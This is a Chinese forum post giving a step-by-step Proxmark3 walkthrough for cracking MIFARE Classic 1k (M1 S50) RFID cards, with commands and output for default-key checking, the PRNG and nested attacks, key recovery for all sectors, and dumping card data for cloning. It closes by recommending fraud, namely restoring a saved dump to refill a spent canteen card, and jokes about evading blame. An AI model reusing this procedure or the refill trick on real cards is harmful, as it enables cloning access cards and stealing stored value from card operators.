|
楼主 |
发表于 2018-9-20 20:18:01
|
显示全部楼层
本帖最后由 小当家 于 2018-9-20 20:28 编辑
M1 S50卡片破解实录
实验环境是Windows7,我没有使用Linux的,我的Linux机器是Kali linux版本,没有安装相关的驱动,就用Window的命令行进行演示。
使用命令 hw tune 测试高低频的天线是否没有问题,这里给出了频率,说明硬件正常工作中,进入下一步的测试。
(1)检测卡的类型
这条命令可以用来检测卡是属于什么卡,命令为 hf 14a reader
我们将我们的测试卡放置到读卡区内,输入命令进行读取。
返回结果:
proxmark3> hf 14a reader
ATQA : 00 04
UID : c0 68 ca d4
SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
proprietary non iso14443-4 card found, RATS not supported
Answers to chinese magic backdoor commands: NO
proxmark3>
TYPE即是他的卡片属性,当你看到“NXP MIFARE CLASSIC 1k | Plus 2k SL1”的时候,就代表这是M1 S50的卡片,这种卡片出厂就是自带了加密的,密码不可以取消。既然知道了是什么卡片,那么就可以进行安全测试。
(2)暴力破解卡片密码
上文我们讲到了M1 S50卡片出厂自带的密码,那么我们想知道其中的数据,肯定要先对卡片进行一次密码破解,关于密码破解的命令如下:
hf mf chk *1 ? t
这条命令会枚举每个扇区的密码,然后执行一系列自动操作。
如图所示,Proxmark3开始执行破解,可以从图中看到,已经获得了一些明文密钥,
proxmark3> hf mf chk *1 ? t
No key specified, trying default keys
chk default key[ 0] ffffffffffff
chk default key[ 1] 000000000000
chk default key[ 2] a0a1a2a3a4a5
chk default key[ 3] b0b1b2b3b4b5
chk default key[ 4] aabbccddeeff
chk default key[ 5] 4d3a99c351dd
chk default key[ 6] 1a982c7e459a
chk default key[ 7] d3f7d3f7d3f7
chk default key[ 8] 714c5c886e97
chk default key[ 9] 587ee5f9350f
chk default key[10] a0478cc39091
chk default key[11] 533cb6c723f6
chk default key[12] 8fd0a4f256e9
--sector: 0, block: 3, key type:A, key count:13
Found valid key:[ffffffffffff]
--sector: 1, block: 7, key type:A, key count:13
Found valid key:[ffffffffffff]
--sector: 2, block: 11, key type:A, key count:13
Found valid key:[ffffffffffff]
--sector: 3, block: 15, key type:A, key count:13
贴出了部分返回信息,可以看到,Promark3自带的字典密码都已经显示,此时Proxmark3是开始测试常用的密码,接下来会用这些密码去验证扇区的密码。
--sector: 0, block: 3, key type:A, key count:13
Found valid key:[ffffffffffff]
这条命令需要说明的是,这代表了验证成功,0扇区的卡片密码是“ffffffffffff",如果卡片不存在这个默认的密码,则不会出现提示。
有意思是,Proxmark的字典里自带的这12种密码,包含了世界范围内发行的RFID卡片默认出厂钥匙,而国内的卡片出厂一般都是“ffffffffffff”
(3)执行漏洞攻击
接下来我们可以用PRNG漏洞进行攻击,命令如下:
hf mf mifare
通过这种方式同样可以获得卡片的Key,但并不是所有的卡片都存在这种漏洞,如果不存在PRNG漏洞,就需要使用另外的方法来获得卡片的Key
(4)得到卡片的所有密码
上面我提到了,对于IC卡,只需要获得一个密码就可以了,因为我们在后边可以用暴力破解的方式进行获取全卡密码。
它的指令如下:
hf mf nested 1 0 A FFFFFFFFFFFF d
这是利用一个认证漏洞,可以使用任何一个扇区的密码来获取所有扇区的密码,这种破解方式的成功率相当高。
-----------------------------------------------
Iterations count: 12
|---|----------------|---|----------------|---|
|sec|key A |res|key B |res|
|---|----------------|---|----------------|---|
|000| ffffffffffff | 1 | ffffffffffff | 1 |
|001| ffffffffffff | 1 | ffffffffffff | 1 |
|002| ffffffffffff | 1 | ffffffffffff | 1 |
|003| ffffffffffff | 1 | ffffffffffff | 1 |
|004| ffffffffffff | 1 | ffffffffffff | 1 |
|005| ffffffffffff | 1 | ffffffffffff | 1 |
|006| ffffffffffff | 1 | ffffffffffff | 1 |
|007| ffffffffffff | 1 | ffffffffffff | 1 |
|008| ffffffffffff | 1 | ffffffffffff | 1 |
|009| ffffffffffff | 1 | ffffffffffff | 1 |
|010| 740f6dXXXXXX | 1 | 740f6dcXXXXX | 1 |
|011| 740f6dXXXXXX | 1 | 740f6dXXXXXX | 1 |
|012| 740f6dXXXXXXX | 1 | 740f6dXXXXXX | 1 |
|013| 740f6dXXXXXX | 1 | 740f6XXXXXXX | 1 |
|014| ffffffffffff | 1 | ffffffffffff | 1 |
|015| ffffffffffff | 1 | ffffffffffff | 1 |
|---|----------------|---|----------------|---|
Printing keys to binary file dumpkeys.bin...
proxmark3>
RES的意思是代表结果,1是密码正确,0代表密码错误。
既然我们已经知道了卡所有扇区的密码,即可导出分析了。
(5)导出数据
卡片已经攻击完成,获得了所有密匙,那么执行最后的操作,来导出卡片数据以供我们分析。
其实在上条命令里就已经生成了数据文件,bin后缀。
如果要写入其他卡片,需要将bin格式转换为eml格式,这个格式才会被Proxmark3调取并写入其他卡片。
IC卡破解总结:
克隆比较简单,修改金额要算算法,相对麻烦,不过我提供一个思路,比如修改饭卡,第一次充值200进去,把全卡数据读出来,保存。接下来你放心吃,安心吃,200吃完了,把上次保存的200饭卡数据重新写入,这样卡里又是200,你又可以安心吃了,比算算法简单十倍百倍,不过我希望你不会发生意外。
注:日后若是惹祸,不要把为师说出来就行了,你就说这是你自己原创的。
|
|